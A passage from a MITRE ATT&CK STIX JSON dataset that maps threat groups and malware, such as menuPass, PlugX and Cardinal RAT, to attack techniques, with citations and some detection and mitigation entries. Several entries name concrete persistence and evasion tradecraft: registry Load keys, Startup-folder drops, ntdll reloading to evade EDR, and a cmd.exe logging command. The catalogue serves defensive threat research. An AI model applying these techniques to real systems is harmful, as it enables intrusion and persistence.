2017.","url":"https://github.com/Twi1ight/AD-Pentest-Script/blob/master/wmiexec.vbs"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:14:18.649Z","description":"[menuPass](https://attack.mitre.org/groups/G0045) executes commands using a command-line interface and reverse shell. The group has used a modified version of pentesting script wmiexec.vbs to execute commands.(Citation: PWC Cloud Hopper April 2017)(Citation: PWC Cloud Hopper Technical Annex April 2017)(Citation: Github AD-Pentest-Script)(Citation: FireEye APT10 Sept 2018) [menuPass](https://attack.mitre.org/groups/G0045) has used malicious macros embedded inside Office documents to execute files.(Citation: Accenture Hogfish April 2018)(Citation: FireEye APT10 Sept 2018)","relationship_type":"uses","source_ref":"intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--deab6c7f-8d5e-4c77-ab58-3d8cf9c2adf4","type":"relationship","created":"2020-08-13T17:38:23.721Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Secureworks Karagany July 2019","url":"https://www.secureworks.com/research/updated-karagany-malware-targets-energy-sector","description":"Secureworks. (2019, July 24). Updated Karagany Malware Targets Energy Sector. Retrieved August 12, 2020."}],"modified":"2020-08-13T17:38:23.721Z","description":"[Trojan.Karagany](https://attack.mitre.org/software/S0094) can perform reconnaissance commands on a victim machine via a cmd.exe process.(Citation: Secureworks Karagany July 2019)","relationship_type":"uses","source_ref":"malware--82cb34ba-02b5-432b-b2d2-07f55cbf674d","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--deae71f8-d849-484f-b49d-757356e195c5","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/","description":"Sherstobitoff, R., Malhotra, A. (2018, April 24). Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide. Retrieved May 16, 2018.","source_name":"McAfee GhostSecret"}],"modified":"2020-03-19T19:44:51.038Z","description":"[Proxysvc](https://attack.mitre.org/software/S0238) executes a binary on the system and logs the results into a temp file by using: cmd.exe /c \" > %temp%\\PM* .tmp 2>&1\".(Citation: McAfee GhostSecret)","relationship_type":"uses","source_ref":"malware--069af411-9b24-4e85-b26c-623d035bbe84","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--deaf1941-b388-44e5-a8e9-09da85bf1067","created":"2024-06-10T19:43:03.983Z","revoked":false,"external_references":[{"source_name":"Lumen KVBotnet 2023","description":"Black Lotus Labs. (2023, December 13). Routers Roasting On An Open Firewall: The KV-Botnet Investigation. Retrieved June 10, 2024.","url":"https://blog.lumen.com/routers-roasting-on-an-open-firewall-the-kv-botnet-investigation/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-06-10T19:43:03.983Z","description":"[KV Botnet Activity](https://attack.mitre.org/campaigns/C0035) gathers a list of filenames from the following locations during execution of the final botnet stage: \\/usr\\/sbin\\/, \\/usr\\/bin\\/, \\/sbin\\/, \\/pfrm2.0\\/bin\\/, \\/usr\\/local\\/bin\\/.(Citation: Lumen KVBotnet 2023)","relationship_type":"uses","source_ref":"campaign--0c259854-4044-4f6c-ac49-118d484b3e3b","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--deafd60c-af1a-40eb-bc43-287b37553fae","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://labs.lastline.com/an-analysis-of-plugx","description":"Vasilenko, R. (2013, December 17). An Analysis of PlugX Malware. Retrieved November 24, 2015.","source_name":"Lastline PlugX Analysis"},{"source_name":"Proofpoint TA416 Europe March 2022","url":"https://www.proofpoint.com/us/blog/threat-insight/good-bad-and-web-bug-ta416-increases-operational-tempo-against-european","description":"Raggi, M. et al. (2022, March 7). The Good, the Bad, and the Web Bug: TA416 Increases Operational Tempo Against European Governments as Conflict in Ukraine Escalates. Retrieved March 16, 2022."}],"modified":"2022-03-16T19:50:41.646Z","description":"[PlugX](https://attack.mitre.org/software/S0013) can use the Windows API functions `GetProcAddress`, `LoadLibrary`, and `CreateProcess` to execute another process.(Citation: Lastline PlugX Analysis)(Citation: Proofpoint TA416 Europe March 2022)","relationship_type":"uses","source_ref":"malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--deb55b94-e38c-4941-9ebd-8cc3343c3eae","type":"relationship","created":"2019-07-09T17:54:21.414Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Falcone, R. and Lancaster, T. (2019, May 28). Emissary Panda Attacks Middle East Government Sharepoint Servers. Retrieved July 9, 2019.","url":"https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/","source_name":"Unit42 Emissary Panda May 2019"}],"modified":"2021-10-12T19:21:39.350Z","description":"(Citation: Unit42 Emissary Panda May 2019)","relationship_type":"uses","source_ref":"intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c","target_ref":"tool--9de2308e-7bed-43a3-8e58-f194b3586700","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--deb5cfb8-d9e8-46bf-9f13-3f3dfca885d9","created":"2023-03-13T15:32:23.087Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"AADInternals Root Access to Azure VMs","description":"Dr. Nestori Syynimaa. (2020, June 4). Getting root access to Azure VMs as a Azure AD Global Administrator. Retrieved March 13, 2023.","url":"https://aadinternals.com/post/azurevms/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-05T21:31:45.616Z","description":"[AADInternals](https://attack.mitre.org/software/S0677) can execute commands on Azure virtual machines using the VM agent.(Citation: AADInternals Root Access to Azure VMs)","relationship_type":"uses","source_ref":"tool--2c5281dd-b5fd-4531-8aea-c1bf8a0f8756","target_ref":"attack-pattern--d94b3ae9-8059-4989-8e9f-ea0f601f80a7","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--deb7df24-689e-4e4e-909f-a270241ab65a","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Securelist WhiteBear Aug 2017","description":"Kaspersky Lab's Global Research & Analysis Team. (2017, August 30). Introducing WhiteBear. Retrieved September 21, 2017.","url":"https://securelist.com/introducing-whitebear/81638/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T02:29:12.942Z","description":"[Gazer](https://attack.mitre.org/software/S0168) logs its actions into files that are encrypted with 3DES. It also uses RSA to encrypt resources.(Citation: Securelist WhiteBear Aug 2017)","relationship_type":"uses","source_ref":"malware--76abb3ef-dafd-4762-97cb-a35379429db4","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--debfc37d-448d-497a-8cef-2c7ada3883d1","type":"relationship","created":"2021-04-01T02:28:58.528Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye DLL Side-Loading","url":"https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-dll-sideloading.pdf","description":"Amanda Steward. (2014). FireEye DLL Side-Loading: A Thorn in the Side of the Anti-Virus Industry. Retrieved March 13, 2020."}],"modified":"2021-04-26T18:31:35.200Z","description":"When possible, include hash values in manifest files to help prevent side-loading of malicious libraries.(Citation: FireEye DLL Side-Loading)","relationship_type":"mitigates","source_ref":"course-of-action--25dc1ce8-eb55-4333-ae30-a7cb4f5894a1","target_ref":"attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--dec02920-c2d1-4340-a503-f6a38ae0b0f7","created":"2023-02-13T20:17:06.636Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"MDSec Brute Ratel August 2022","description":"Chell, D. PART 3: How I Met Your Beacon – Brute Ratel. Retrieved February 6, 2023.","url":"https://www.mdsec.co.uk/2022/08/part-3-how-i-met-your-beacon-brute-ratel/"},{"source_name":"Palo Alto Brute Ratel July 2022","description":"Harbison, M. and Renals, P. (2022, July 5). When Pentest Tools Go Brutal: Red-Teaming Tool Being Abused by Malicious Actors. Retrieved February 1, 2023.","url":"https://unit42.paloaltonetworks.com/brute-ratel-c4-tool/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-20T20:29:12.317Z","description":"[Brute Ratel C4](https://attack.mitre.org/software/S1063) can call `NtDelayExecution` to pause execution.(Citation: Palo Alto Brute Ratel July 2022)(Citation: MDSec Brute Ratel August 2022)","relationship_type":"uses","source_ref":"tool--75d8b521-6b6a-42ff-8af3-d97e20ce12a5","target_ref":"attack-pattern--4bed873f-0b7d-41d4-b93a-b6905d1f90b0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dec705fd-139b-49d6-b0d8-888b2b922a12","type":"relationship","created":"2020-05-26T16:17:59.535Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Anomali Rocke March 2019","url":"https://www.anomali.com/blog/rocke-evolves-its-arsenal-with-a-new-malware-family-written-in-golang","description":"Anomali Labs. (2019, March 15). Rocke Evolves Its Arsenal With a New Malware Family Written in Golang. Retrieved April 24, 2019."}],"modified":"2020-05-26T16:17:59.535Z","description":"[Rocke](https://attack.mitre.org/groups/G0106) has deleted files on infected machines.(Citation: Anomali Rocke March 2019)\t","relationship_type":"uses","source_ref":"intrusion-set--44102191-3a31-45f8-acbe-34bdb441d5ad","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--deca3e0f-7c9a-44f2-aff5-db94ce5933e1","type":"relationship","created":"2021-08-23T19:38:33.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Awake Security Avaddon","url":"https://awakesecurity.com/blog/threat-hunting-for-avaddon-ransomware/","description":"Gahlot, A. (n.d.). Threat Hunting for Avaddon Ransomware. Retrieved August 19, 2021."}],"modified":"2021-10-18T20:36:35.621Z","description":"[Avaddon](https://attack.mitre.org/software/S0640) can collect the external IP address of the victim.(Citation: Awake Security Avaddon)","relationship_type":"uses","source_ref":"malware--58c5a3a1-928f-4094-9e98-a5a4e56dd5f3","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--decc0aea-70d2-42b8-8529-3049b9f5937f","created":"2021-12-27T16:53:13.921Z","x_mitre_version":"1.0","external_references":[{"source_name":"Uptycs Confucius APT Jan 2021","url":"https://www.uptycs.com/blog/confucius-apt-deploys-warzone-rat","description":"Uptycs Threat Research Team. (2021, January 12). Confucius APT deploys Warzone RAT. Retrieved December 17, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Confucius](https://attack.mitre.org/groups/G0142) has dropped malicious files into the startup folder `%AppData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup` on a compromised host in order to maintain persistence.(Citation: Uptycs Confucius APT Jan 2021)","modified":"2022-06-30T20:15:32.709Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--6eded342-33e5-4451-b6b2-e1c62863129f","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ded09cd6-73be-488d-8e3c-bff62324b21b","created":"2022-03-30T14:26:51.841Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-24T14:00:19.665Z","description":"Monitor for unexpected deletion of a cloud volume (ex: AWS `DeleteVolume`)","relationship_type":"detects","source_ref":"x-mitre-data-component--3acecdde-c327-4498-9bb8-33a2e63c6c57","target_ref":"attack-pattern--d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dede2215-e875-427c-a42e-794449c0f5c8","type":"relationship","created":"2022-03-30T14:26:51.876Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.876Z","description":"Monitor WMI event subscription entries, comparing current WMI event subscriptions to known good subscriptions for each host. Tools such as Sysinternals Autoruns may also be used to detect WMI changes that could be attempts at persistence. (Citation: TechNet Autoruns) (Citation: Medium Detecting WMI Persistence) Monitor for the creation of new WMI EventFilter, EventConsumer, and FilterToConsumerBinding events. Event ID 5861 is logged on Windows 10 systems when new EventFilterToConsumerBinding events are created.(Citation: Elastic - Hunting for Persistence Part 1)","source_ref":"x-mitre-data-component--05645013-2fed-4066-8bdc-626b2e201dd4","target_ref":"attack-pattern--910906dd-8c0a-475a-9cc1-5e029e2fad58","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TechNet Autoruns","description":"Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.","url":"https://technet.microsoft.com/en-us/sysinternals/bb963902"},{"source_name":"Medium Detecting WMI Persistence","description":"French, D. (2018, October 9). Detecting & Removing an Attacker’s WMI Persistence. Retrieved October 11, 2019.","url":"https://medium.com/threatpunter/detecting-removing-wmi-persistence-60ccbb7dff96"},{"source_name":"Elastic - Hunting for Persistence Part 1","description":"French, D., Murphy, B. (2020, March 24). Adversary tradecraft 101: Hunting for persistence using Elastic Security (Part 1). Retrieved December 21, 2020.","url":"https://www.elastic.co/blog/hunting-for-persistence-using-elastic-security-part-1"}]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dedf19b5-f91d-4555-93fe-c551f9ca6302","type":"relationship","created":"2021-09-29T20:46:38.420Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA AA20-239A BeagleBoyz August 2020","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-239a","description":"DHS/CISA. (2020, August 26). FASTCash 2.0: North Korea's BeagleBoyz Robbing Banks. Retrieved September 29, 2021."}],"modified":"2021-09-29T20:46:38.421Z","description":"[APT38](https://attack.mitre.org/groups/G0082) has used cron to create pre-scheduled and periodic background jobs on a Linux system.(Citation: CISA AA20-239A BeagleBoyz August 2020)","relationship_type":"uses","source_ref":"intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340","target_ref":"attack-pattern--2acf44aa-542f-4366-b4eb-55ef5747759c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dedfdac6-c76b-4baa-99ca-3f0233141d2d","type":"relationship","created":"2019-09-12T18:04:13.255Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://vms.drweb.com/virus/?i=4276269","description":"Doctor Web. (2014, November 21). Linux.BackDoor.Fysbis.1. Retrieved December 7, 2017.","source_name":"Fysbis Dr Web Analysis"}],"modified":"2020-03-18T00:18:58.744Z","description":"[Fysbis](https://attack.mitre.org/software/S0410) has masqueraded as trusted software rsyncd and dbus-inotifier.(Citation: Fysbis Dr Web Analysis)","relationship_type":"uses","source_ref":"malware--50d6688b-0985-4f3d-8cbe-0c796b30703b","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--dee2ef91-fe07-423a-8ad3-551c99b7a112","created":"2024-04-10T20:07:52.997Z","revoked":false,"external_references":[{"source_name":"Mandiant Pulse Secure Zero-Day April 2021","description":"Perez, D. et al. (2021, April 20). Check Your Pulse: Suspected APT Actors Leverage Authentication Bypass Techniques and Pulse Secure Zero-Day. Retrieved February 5, 2024.","url":"https://www.mandiant.com/resources/blog/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-10T20:07:52.997Z","description":"[PACEMAKER](https://attack.mitre.org/software/S1109) can parse `/proc/\"process_name\"/cmdline` to look for the string `dswsd` within the command line.(Citation: Mandiant Pulse Secure Zero-Day April 2021)","relationship_type":"uses","source_ref":"malware--647215dd-29a6-4528-b354-ca8b5e08fca1","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--deec4c70-b8b5-420b-bdc7-88badae84456","type":"relationship","created":"2020-12-18T16:54:50.285Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Tetra Defense Sodinokibi March 2020","url":"https://www.tetradefense.com/incident-response-services/cause-and-effect-sodinokibi-ransomware-analysis","description":"Tetra Defense. (2020, March). CAUSE AND EFFECT: SODINOKIBI RANSOMWARE ANALYSIS. Retrieved December 14, 2020."}],"modified":"2020-12-18T16:54:50.285Z","description":"[GOLD SOUTHFIELD](https://attack.mitre.org/groups/G0115) has staged and executed PowerShell scripts on compromised hosts.(Citation: Tetra Defense Sodinokibi March 2020)","relationship_type":"uses","source_ref":"intrusion-set--c77c5576-ca19-42ed-a36f-4b4486a84133","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--def0dc1a-1c41-44f0-a076-36fb1b98390c","created":"2022-07-18T20:06:22.310Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"TrendMicro EarthLusca 2022","description":"Chen, J., et al. (2022). Delving Deep: An Analysis of Earth Lusca’s Operations. Retrieved July 1, 2022.","url":"https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-17T19:04:08.871Z","description":"[Earth Lusca](https://attack.mitre.org/groups/G1006) employed a PowerShell script called RDPConnectionParser to read and filter the Windows event log “Microsoft-Windows-TerminalServices-RDPClient/Operational”\n(Event ID 1024) to obtain network information from RDP connections. [Earth Lusca](https://attack.mitre.org/groups/G1006) has also used [netstat](https://attack.mitre.org/software/S0104) from a compromised system to obtain network connection information.(Citation: TrendMicro EarthLusca 2022)","relationship_type":"uses","source_ref":"intrusion-set--cc613a49-9bfa-4e22-98d1-15ffbb03f034","target_ref":"attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--def1a889-9341-4179-9d14-a5c10aa100b2","type":"relationship","created":"2022-03-24T11:46:08.675Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ClearSky Lazarus Aug 2020","url":"https://www.clearskysec.com/wp-content/uploads/2020/08/Dream-Job-Campaign.pdf","description":"ClearSky Research Team. (2020, August 13). Operation 'Dream Job' Widespread North Korean Espionage Campaign. Retrieved December 20, 2021."}],"modified":"2022-03-24T11:46:08.676Z","description":"[DRATzarus](https://attack.mitre.org/software/S0694) can be partly encrypted with XOR.(Citation: ClearSky Lazarus Aug 2020)","relationship_type":"uses","source_ref":"malware--56aa3c82-ed40-4b5a-84bf-7231356d9e96","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--def2b383-6cea-4c69-ada2-b3e0e58c43e5","created":"2024-05-28T15:29:33.243Z","revoked":false,"external_references":[{"source_name":"Palo Alto Unit 42 OutSteel SaintBot February 2022 ","description":"Unit 42. (2022, February 25). Spear Phishing Attacks Target Organizations in Ukraine, Payloads Include the Document Stealer OutSteel and the Downloader SaintBot. Retrieved June 9, 2022.","url":"https://unit42.paloaltonetworks.com/ukraine-targeted-outsteel-saintbot/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-28T15:29:33.243Z","description":"[Saint Bot](https://attack.mitre.org/software/S1018) will use the malicious file slideshow.mp4 if present to load the core API provided by ntdll.dll to avoid any hooks placed on calls to the original ntdll.dll file by endpoint detection and response or antimalware software.(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 )","relationship_type":"uses","source_ref":"malware--7724581b-06ff-4d2b-b77c-80dc8d53070b","target_ref":"attack-pattern--aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--def869f4-7564-4a09-8f49-59cb696b660d","type":"relationship","created":"2020-03-13T11:42:14.588Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-13T11:42:14.588Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--17cc750b-e95b-4d7d-9dde-49e0de24148c","target_ref":"attack-pattern--aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--def89c4a-b394-4137-8a96-c794780352f2","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT KEYMARBLE Aug 2018","description":"US-CERT. (2018, August 09). MAR-10135536-17 – North Korean Trojan: KEYMARBLE. Retrieved August 16, 2018.","url":"https://www.us-cert.gov/ncas/analysis-reports/AR18-221A"}],"modified":"2020-03-20T02:14:26.664Z","description":"[KEYMARBLE](https://attack.mitre.org/software/S0271) has the capability to delete files off the victim’s machine.(Citation: US-CERT KEYMARBLE Aug 2018)","relationship_type":"uses","source_ref":"malware--11e36d5b-6a92-4bf9-8eb7-85eb24f59e22","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--df05fecd-1eee-4139-8090-794a3310b478","type":"relationship","created":"2019-01-30T16:39:54.280Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Grunzweig, J.. (2017, April 20). Cardinal RAT Active for Over Two Years. Retrieved December 8, 2018.","url":"https://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/","source_name":"PaloAlto CardinalRat Apr 2017"}],"modified":"2019-06-10T18:25:51.487Z","description":"[Cardinal RAT](https://attack.mitre.org/software/S0348) establishes Persistence by setting the HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\Load Registry key to point to its executable.(Citation: PaloAlto CardinalRat Apr 2017)","relationship_type":"uses","source_ref":"malware--b879758f-bbc4-4cab-b5ba-177ac9b009b4","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--df0784ed-8411-4215-bebc-51c6ac3bf5df","type":"relationship","created":"2019-01-29T17:59:44.405Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Ebach, L. (2017, June 22). Analysis Results of Zeus.Variant.Panda. Retrieved November 5, 2018.","url":"https://cyberwtf.files.wordpress.com/2017/07/panda-whitepaper.pdf","source_name":"GDATA Zeus Panda June 2017"}],"modified":"2020-03-16T19:54:46.761Z","description":"[Zeus Panda](https://attack.mitre.org/software/S0330) can perform keylogging on the victim’s machine by hooking the functions TranslateMessage and WM_KEYDOWN.(Citation: GDATA Zeus Panda June 2017)","relationship_type":"uses","source_ref":"malware--198db886-47af-4f4c-bff5-11b891f85946","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--df0cfac5-fe50-4cc3-bc47-9a1d49c53e0a","type":"relationship","created":"2019-04-17T19:18:00.424Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist Remexi Jan 